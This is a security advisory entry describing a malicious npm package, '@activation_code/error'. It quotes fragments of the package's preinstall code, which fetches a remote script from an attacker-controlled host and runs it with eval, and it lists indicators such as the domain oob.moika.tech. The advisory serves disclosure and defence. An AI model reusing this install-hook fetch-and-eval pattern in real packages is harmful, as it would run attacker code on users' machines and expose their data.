VDB
GCVE-110-OSM-2026-3278
GCVE-110-OSM-2026-3278
Advisory PublishedCVSS 9.6/10
Malicious package detected. Behaviors: data exfiltration, code execution, network activity, install-time execution.
Payload: poc.preinstall.js
Secondary files: preinstall.js
Key findings:
- Fetch and Eval/Exec in poc.preinstall.js: "http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => {
..."
- Fetch and Eval/Exec in preinstall.js: "http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => {
..."
- Publisher Has Other Malicious Packages
- Install Hook Executes Local JS File in package.json: ""preinstall": "node preinstall.js""
- Dynamic Code Execution in poc.preinstall.js: "eval(body)"
IOCs:
- domains: oob.moika.tech
- payloadFileHash: a70b77c6d2828400141e6d188485d742427792d33c455c07cc32cd176fbe10dc
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | @activation_code/error | all (affected) | — |
Aliases
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